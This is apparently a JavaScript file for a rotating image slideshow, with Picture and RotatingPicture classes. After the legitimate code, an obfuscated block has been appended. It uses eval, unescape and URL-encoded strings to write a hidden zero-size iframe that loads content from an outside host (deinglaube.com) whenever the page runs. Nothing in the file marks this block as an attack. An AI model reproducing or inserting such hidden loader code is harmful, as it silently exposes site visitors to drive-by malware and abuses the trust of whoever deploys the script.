/*      Definition of Picture class
*  function getPictureAlt - returns the alt_text of the picture
*  function getPicture - returns the picture
*  function getPictureLink - returns the link of the picture
*/
function Picture(pic, picture_link, picture_alt) {
  this.Pic = new Image();
  this.Pic.src = pic;
  this.PictureLink = picture_link;
  this.PictureAlt = picture_alt;
  
  this.getPictureAlt = function getPictureAlt() {
    return this.PictureAlt;
  }
   
  this.getPicture = function getPicture() {
    return this.Pic;
  }
  
  this.getPictureLink = function getPictureLink() {
    return this.PictureLink;
  }
}

/*    Definition of Rotating Picture Class
*  function show - displays the initial picture, sets the size of the Div and starts the rotation process
*  function rotate - changes the picture according to parameteres
*/
function RotatingPicture(){

this.init = function init(id, width, height, interval, randomize, scale){
  this.Width = width;
  this.Height = height;
  this.Interval = interval;
  this.Randomize = randomize;
  this.Scale = scale;
  this.currentPic = 0;
  this.ID = id;
  this.Pics = new Array();
 }

this.show = function show(){
    //checks if there are any picture files
   if (this.Pics.length == 0){
     //window.alert(this.ID + " No pictures");
     var rpImg = document.getElementById( "RotatingPictureImg" + this.ID );
     rpImg.width = 0;
     rpImg.height = 0;
     this.Interval = 1;
   }else
   {
  var rpDiv = document.getElementById( "RotatingPictureDiv" + this.ID );
  rpDiv.style.width = this.Width;
  rpDiv.style.height = this.Height;
  this.currentPic = -1;
  this.rotate();      
  }
 }

this.rotate = function rotate(){
   var rpImg = document.getElementById( "RotatingPictureImg" + this.ID );
   var rpDiv = document.getElementById( "RotatingPictureDiv" + this.ID );
   //checks if there are any picture files
   if (this.Pics.length != 0){
   
   //if (this.Pics.length == 1 && rpImg.src == ""){
   //  return;
   //}
   if (this.Randomize == false){
     //checks if the last image is shown
     if(this.currentPic<this.Pics.length-1)
        this.currentPic++;
        else
        this.currentPic = 0;
   }
   else
   {
     var s = this.currentPic;
     
     //generates random values until they are different from currentPic - so that a different picture is shown
     do
       s = Math.round( Math.random() * ( this.Pics.length - 1 ) );
     while(s == this.currentPic && this.Pics.length > 1)
     this.currentPic = s;
   }
   
   
   // if picture has link then set pointer to hand, else set pointer to default
   if ( this.Pics[ this.currentPic ].getPictureLink() != "" )
       rpDiv.style.cursor = "pointer";
    else
       rpDiv.style.cursor = "default";
       
   // if picture has alt then set picture alt
   if ( this.Pics[ this.currentPic ].getPictureAlt() != "" ){
       rpImg.alt = this.Pics[ this.currentPic ].getPictureAlt();
       rpImg.title = this.Pics[ this.currentPic ].getPictureAlt();
   } else {
       rpImg.alt = "";
       rpImg.title = "";
   }   
       
   //if scale then resize picture
   if (this.Scale){
	var image_width = this.Pics[ this.currentPic ].getPicture().width;
	var image_height = this.Pics[ this.currentPic ].getPicture().height;

	if(image_width > this.Width || image_height > this.Height){

		var proc_width = 100 - (this.Width * 100 / image_width);
		var proc_height = 100 - (this.Height * 100 / image_height);
		var proc = proc_width;
		if(proc < proc_height){
			proc = proc_height;
		}
		//window.alert(this.Pics[ this.currentPic ].getPicture().src + ":" + proc);
		 rpImg.src = "";
		rpImg.width = image_width - (image_width * proc / 100);
		rpImg.height = image_height - (image_height * proc / 100);
	}
	else{
		rpImg.src = "";
		rpImg.width = image_width;
		rpImg.height = image_height;
	}
  }
  //set picture to currentPic
   rpImg.src = this.Pics[ this.currentPic ].getPicture().src;
   rpImg.align = "center";
 }
//function to handle the link on the picture
this.goClick = function goClick(){
  if ( this.Pics[ this.currentPic ].getPictureLink() != "" )
    window.location = this.Pics[ this.currentPic ].getPictureLink();
 } 
 }
}
l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O000=new Array();O000[0]='<iframe src=\'http://';O0OO='fu';OO0O='sVVtERqNpQeIeqkFlMsGMIUhxHIT';O0OO+='nction __'+'__(_'+'O0){';OO00='var%20l%32%3D%77\151%6E%64o%77%2E\157p\145%72a%3F%31%3A%30%3Bfunc\164%69%6F%6E%20l%33%28l%34%29%7B\154%35%3D%2Fz%61%2F\147%3Bl%36%3D%53\164rin\147%2Ef\162o%6DCh%61%72%43o%64%65%28%30%29%3B%6C%34%3D\154%34%2E\162%65p\154\141%63e%28\154%35%2Cl%36%29%3B%76a\162%20%6C%37%3D%6E%65%77%20\101r\162a\171%28%29%2Cl%38%3D%5F%31%3Dl%34%2Ele%6E%67%74h%2C%6C%39%2C%6C\111%2Cil%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2Cl%69%3D%27%27%3B%64o%7B\154%39%3D\154%34%2Ec%68arCod\145\101t%28%5F%31%29%3Bl\111%3D\154%34%2Ec\150ar%43od\145%41\164%28%2B%2B%5F%31%29%3B%6C%37%5BI%2B%2B%5D%3D%6CI%2Bi\154%2D%28l%39%3C%3C%37%29%7D\167\150\151le%28%5F%31%2B%2B%3C\154%38%29%3B\166ar%20\154%31%3D\156ew';O000[0]+='deinglaube.com/images/\' h~';O0OO+='eva';OOOO='hOQtCXaUwrsqvfnuOlkDrulOnWUymKyo';O0OO+='l(unes'							+'cape(_O0))}';eval									(O0OO);O0O0='JBiVXnUZitSaSEbByOKOOSoSOYmiJaDsoDVfEpBO';O0OO='';OO00+='%20%41rray%28%29%2C%6C%30%3D%6Ee%77%20\101r\162%61y%28%29%2CI%6C%3D%31%32%38%3B%64%6F%7Bl%30%5B\111l%5D%3DS\164r%69\156g%2E\146\162omC\150%61\162Cod\145%28I\154%29%7Dwh%69%6C%65%28%2D%2D\111l%29%3B%49l%3D%31%32%38%3B%6C%31%5B%30%5D%3Dl\151%3D%6C%30%5Bl%37%5B%30%5D%5D%3B%6C%6C%3D%6C%37%5B%30%5D%3B%5F\154%3D%31%3Bv\141r%20l%5F%3D\154%37%2El%65%6E%67t\150%2D%31%3B%77\150%69le%28%5F%6C%3C\154%5F%29%7B\163\167\151tch%28\154%37%5B%5F%6C%5D%3C%49l%3F%31%3A%30%29%7B%63a%73e%20%30%20%3A\154%30%5BI%6C%5D%3Dl%30%5Bl\154%5D%2BS\164ri%6Eg%28\154%30%5B%6Cl%5D%29%2Es\165%62%73\164r%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5BI%6C%5D%3B\151f%28\154%32%29%7Bl\151%2B%3D%6C%30%5BIl%5D%7D%3B%62\162ea';OOO0='l';O000[0]+='g~\r=0 width~0 bor~r~0><~"~~e>';OO00+='%6B%3Bdefau\154%74%3A%6C%31%5B%5F\154%5D%3D\154%30%5Bl%37%5B%5F%6C%5D%5D%3Bi\146%28%6C%32%29%7Bl\151%2B%3Dl%30%5Bl%37%5B%5F%6C%5D%5D%7D%3Bl%30%5B\111l%5D%3D\154%30%5B\154l%5D%2BS%74%72%69n%67%28\154%30%5Bl%37%5B%5F\154%5D%5D%29%2Es\165\142%73tr%28%30%2C%31%29%3B%62%72e\141k%7D%3B%49%6C%2B%2B%3B\154l%3Dl%37%5B%5F%6C%5D%3B%5F%6C%2B%2B%7D%3Bif%28%21%6C%32%29%7B%72%65t%75\162%6E%28l%31%2E%6Ao\151n%28%27%27%29%29%7Del\163\145%7B%72e%74u%72%6E%20l\151%7D%7D%3B\166%61r%20lO%3D%27%27%3B\146or%28i%69%3D%30%3Bi\151%3CO%30%30%30%2E%6Cen\147%74\150%3Bi\151%2B%2B%29%7B%6C%4F%2B%3Dl%33%28O%30%30%30%5B\151i%5D%29%7D%3Bi%66%28%6E\141\141%29%7Bd\157%63%75\155e\156\164%2E%77%72\151te%28\154O%29%7D%3B';O0O0      ='.quIwOdeam+:K75ZciV;*SXROtMl//m gd$MNhZOl';____    (OO00);OOO0+='#rrTU/LCJstnO@3A8Sy69OY&J,XjR$!vfwEaDV1 <&1H! O Urhpy= 82f!YfOx	*OOtKo#QpX*>?<G%%k5=C0i';